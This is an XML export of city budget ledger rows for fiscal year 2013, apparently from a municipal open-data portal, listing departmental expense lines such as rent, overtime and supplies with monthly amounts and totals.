<row _id="215"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>142830.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>142830.0</total></row>
<row _id="216"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>108278.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>108278.0</total></row>
<row _id="217"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20123.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>201</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20324.0</total></row>
<row _id="218"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>119567.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1196</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>120763.0</total></row>
<row _id="219"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>28000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="220"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="221"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="222"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>125000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>125000.0</total></row>
<row _id="223"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>38160.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>38160.0</total></row>
<row _id="224"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>58000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>58000.0</total></row>
<row _id="225"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>577219.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>577219.0</total></row>
<row _id="226"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="227"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="228"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13500.0</total></row>
<row _id="229"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15283.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15283.0</total></row>
<row _id="230"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18429.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18429.0</total></row>
<row _id="231"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1059.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1059.0</total></row>
<row _id="232"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>63743.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>637</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>64380.0</total></row>
<row _id="233"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16074.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16074.0</total></row>
<row _id="234"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>510.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>510.0</total></row>
<row _id="235"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>900.0</total></row>
<row _id="236"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6273.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6273.0</total></row>
<row _id="237"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>27120.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27120.0</total></row>
<row _id="238"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569140.0</object><object_description>VIRGINIA AVENUE PROJECT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>28000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="239"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7850.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7850.0</total></row>
<row _id="240"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="241"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511040.0</object><object_description>COUNCIL/BOARD ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>104977.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1050</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>106027.0</total></row>
<row _id="242"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533500.0</object><object_description>CONF / MTGS / TRAVEL-RH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6965.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6965.0</total></row>
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<row _id="267"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16000.0</total></row>
<row _id="268"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6300.0</total></row>
<row _id="269"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>555250.0</object><object_description>MEDICAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>21664.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21664.0</total></row>
<row _id="270"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3600.0</total></row>
<row _id="271"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>550.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>550.0</total></row>
<row _id="272"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9058.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9058.0</total></row>
<row _id="273"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15420.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15420.0</total></row>
<row _id="274"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>39372.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39372.0</total></row>
<row _id="275"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588050.0</object><object_description>FIRE SUPPRESSION EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>38760.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>38760.0</total></row>
<row _id="276"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>26520.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26520.0</total></row>
<row _id="277"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7064.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7064.0</total></row>
<row _id="278"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1632.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1632.0</total></row>
<row _id="279"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="280"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522044.0</object><object_description>PREMIUMS FOR PL &amp; PD-SRV REV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="281"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522625.0</object><object_description>OTHER OPERATING RENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1752.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1752.0</total></row>
<row _id="282"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>510.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>510.0</total></row>
<row _id="283"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>443.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>443.0</total></row>
<row _id="284"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>135000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1350</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>136350.0</total></row>
<row _id="285"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>245530.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>245530.0</total></row>
<row _id="286"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4600.0</total></row>
